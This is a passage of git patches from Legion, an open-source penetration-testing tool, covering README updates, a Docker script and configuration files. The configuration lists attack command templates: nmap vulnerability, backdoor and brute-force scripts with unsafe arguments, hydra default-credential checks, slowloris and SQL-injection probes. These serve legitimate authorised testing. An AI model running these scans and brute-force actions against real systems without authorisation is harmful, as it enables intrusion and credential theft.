+nikto="http,https,ssl,soap,http-proxy,http-alt", tcp +oracle-default=oracle-tns, tcp +oracle-enum-users.nse=oracle, tcp +oracle-sid-brute.nse=oracle, tcp +pop3-capabilities.nse=pop3, tcp +postgres-default=postgresql, tcp +realvnc-auth-bypass.nse=vnc, tcp +samba-vuln-cve-2012-1182.nse=samba, tcp +screenshooter="http,https,ssl,http-proxy,http-alt", tcp +smb-check-vulns.nse=smb, tcp +smb-enum-domains.nse=smb, tcp +smb-enum-groups.nse=smb, tcp +smb-enum-processes.nse=smb, tcp +smb-enum-sessions.nse=smb, tcp +smb-enum-shares.nse=smb, tcp +smb-enum-users.nse=smb, tcp +smb-ls.nse=smb, tcp +smb-mbenum.nse=smb, tcp +smb-psexec.nse=smb, tcp +smb-vuln-ms10-054.nse=smb, tcp +smb-vuln-ms10-061.nse=smb, tcp smbenum=microsoft-ds, tcp +smtp-commands.nse=smtp, tcp +smtp-enum-users.nse=smtp, tcp +smtp-enum-vrfy=smtp, tcp +smtp-open-relay.nse=smtp, tcp +smtp-strangeport.nse=smtp, tcp +smtp-vuln-cve2010-4344.nse=smtp, tcp +smtp-vuln-cve2011-1720.nse=smtp, tcp +smtp-vuln-cve2011-1764.nse=smtp, tcp +snmp-default=snmp, udp +snmp-hh3c-logins.nse=snmp, tcp +snmp-interfaces.nse=snmp, tcp +snmp-ios-config.nse=snmp, tcp +snmp-netstat.nse=snmp, tcp +snmp-processes.nse=snmp, tcp +snmp-sysdescr.nse=snmp, tcp +snmp-win32-services.nse=snmp, tcp +snmp-win32-shares.nse=snmp, tcp +snmp-win32-software.nse=snmp, tcp +snmp-win32-users.nse=snmp, tcp snmpcheck=snmp, udp +tftp-enum.nse=tftp, udp +vnc-info.nse=vnc, tcp x11screen=X11, tcp -snmp-default=snmp, udp -smtp-enum-vrfy=smtp, tcp -mysql-default=mysql, tcp -mssql-default=ms-sql-s, tcp -ftp-default=ftp, tcp -postgres-default=postgresql, tcp -oracle-default=oracle-tns, tcp - -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ [StagedNmapSettings] stage1-ports="T:80,443" From 2a76dcde810deb1b78dd50d399e077b4343ac212 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 09:26:19 -0600 Subject: [PATCH 135/450] update runIt.sh --- controller/controller.py | 2 +- docker/runIt.sh | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index 231b5cbd..fe95ba81 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551105370' + self.build = '1551105399' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/docker/runIt.sh b/docker/runIt.sh index 4cd33247..a7a2d141 100644 --- a/docker/runIt.sh +++ b/docker/runIt.sh @@ -1,4 +1,5 @@ #!/bin/bash +docker pull gvit/legion XSOCK=/tmp/.X11-unix XAUTH=/tmp/.docker.xauth xauth nlist :0 | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - From 2157fb978363fd13d2156076f067b2624ef9bdac Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 25 Feb 2019 10:34:45 -0500 Subject: [PATCH 136/450] Update README.md --- README.md | 84 +++++++++++++++++++++++++++++++------------------------ 1 file changed, 48 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index 463cc75d..4086981e 100644 --- a/README.md +++ b/README.md @@ -1,52 +1,64 @@ -LEGION (https://govanguard.io) -== +![alt tag](https://github.com/GoVanguard/legion/blob/master/images/LegionBanner.png) [![Build Status](https://travis-ci.com/GoVanguard/legion.svg?branch=master)](https://travis-ci.com/GoVanguard/legion) [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) -## Authors: -Shane Scott +## ABOUT +Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. -## About legion -Based on Sparta by SECFORCE, legion is an information security tool that utilizes other effective tools as plugins, such as Nmap, netcat, Nikto, THC Hydra, smbenum, snmpcheck, dirbuster, and much more, and presents all of this information in a nice GUI. Now includes process monitoring to kill any hanging processes. +### FEATURES +* Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) +* Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and exploit attack vectors on hosts +* Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools +* Highly customizable stage scanning for ninja-like IPS evasion +* Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures) +* Realtime autosaving of project results and tasks -legion is written in Python 3, has been ported from PyQt4 to PyQt5, and no longer uses Elixir. +### NOTABLE CHANGES FROM SPARTA +* Refactored from Python 2.7 to Python 3.6 and the elimination of depreciated and unmaintained libraries +* Upgraded to PyQT5, increased responsiveness, less buggy, more intuitive GUI that includes features like: + * Task completion estimates + * 1-Click scan lists of ips, hostnames and CIDR subnets + * Ability to purge results, rescan hosts and delete hosts + * Granual NMAP scanning options +* Support for hostname resolution and scanning of vhosts/sni hosts +* Revise process queuing and execution routines for increased app reliability and performance +* Simplification of installation with dependency resolution and installation routines +* Realtime project autosaving so in the event some goes wrong, you will not loose any progress! +* Docker container deployment option +* Supported by a highly active development team -Tested on Ubuntu, Parrot Security OS, and Windows Subsystem for Linux. +### GIF DEMO +![](https://govanguard.io/wp-content/uploads/2019/02/LegionDemo.gif) - +## INSTALLATION -## Installation +### TRADITIONAL METHOD +Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. +Other dependancies should automatically be installed. Within Terminal: ``` git clone https://github.com/GoVanguard/legion.git +cd legion +sudo chmod +x startLegion.sh +sudo ./startLegion.sh ``` - -## Recommended Python Version -legion supports Python 3.6+. - -## Dependencies -* Ubuntu or variant or WSL (Windows Subsystem for Linux) -* Python 3.6+ -* PyQT5 -* SQLAlchemy -* six -* hydra -* nmap - -## Usage -Run startLegion start script to launch legion. You may first have to grant yourself the permission to execute the script, which can either be done by right clicking it and selecting Properties and enabling Execute permissions, or: -``` -chmod +x startLegion.sh -``` - -Then run startLegion as root: +### DOCKER METHOD +------ +Assumes Docker and Xauthority are installed. Within Terminal: ``` -sudo ./startLegion.sh +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +sudo chmod +x runIt.sh +sudo ./runIt.sh ``` -Note: Deps will be installed automatically. -## License -legion is licensed under the GNU General Public License v3.0. +## LICENSE +Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. -## Credits -SECFORCE (Sparta) +## ATTRIBUTION +* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited to [GoVanguard](https://govanguard.io) +* The initial Sparta Python 2.7 codebase and application design is credited SECFORCE. +* Several additional PortActions, PortTerminalActions and SchedulerSettings are credited to batmancrew. +* The nmap XML output parsing engine was largely based on code by yunshu, modified by ketchup and modified SECFORCE. +* ms08-067_check script used by smbenum.sh is credited to Bernardo Damele A.G. +* Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we would like to thank all of the people involved in the creation of those. From 558be1349853b28d3c86d1ffd764fb68beb47566 Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 25 Feb 2019 10:38:19 -0500 Subject: [PATCH 137/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4086981e..e3547226 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, su ### TRADITIONAL METHOD Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. -Other dependancies should automatically be installed. Within Terminal: +Other dependencies should automatically be installed. Within Terminal: ``` git clone https://github.com/GoVanguard/legion.git cd legion From 127b744c1a220d4b6b4dac029e2a1d2543119c31 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 11:37:43 -0600 Subject: [PATCH 138/450] Update conf --- app/settings.py | 10 +- backup/20190225112609079404-legion.conf | 309 +++++++++++++++++++ controller/controller.py | 2 +- legion.conf | 92 +----- legion.max.conf | 389 ++++++++++++++++++++++++ ui/gui.py | 3 +- 6 files changed, 711 insertions(+), 94 deletions(-) create mode 100644 backup/20190225112609079404-legion.conf create mode 100644 legion.max.conf diff --git a/app/settings.py b/app/settings.py index 6fde1942..f037bde3 100644 --- a/app/settings.py +++ b/app/settings.py @@ -348,11 +348,11 @@ def backupAndSave(self, newSettings, saveBackup=True): self.actions.endGroup() self.actions.beginGroup('StagedNmapSettings') - self.actions.setValue('stage1-ports',newSettings.tools_nmap_stage1_ports) - self.actions.setValue('stage2-ports',newSettings.tools_nmap_stage2_ports) - self.actions.setValue('stage3-ports',newSettings.tools_nmap_stage3_ports) - self.actions.setValue('stage4-ports',newSettings.tools_nmap_stage4_ports) - self.actions.setValue('stage5-ports',newSettings.tools_nmap_stage5_ports) + self.actions.setValue('stage1-ports', newSettings.tools_nmap_stage1_ports) + self.actions.setValue('stage2-ports', newSettings.tools_nmap_stage2_ports) + self.actions.setValue('stage3-ports', newSettings.tools_nmap_stage3_ports) + self.actions.setValue('stage4-ports', newSettings.tools_nmap_stage4_ports) + self.actions.setValue('stage5-ports', newSettings.tools_nmap_stage5_ports) self.actions.endGroup() self.actions.beginGroup('GUISettings') diff --git a/backup/20190225112609079404-legion.conf b/backup/20190225112609079404-legion.conf new file mode 100644 index 00000000..6e9fea5f --- /dev/null +++ b/backup/20190225112609079404-legion.conf @@ -0,0 +1,309 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,0,100,100" + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" 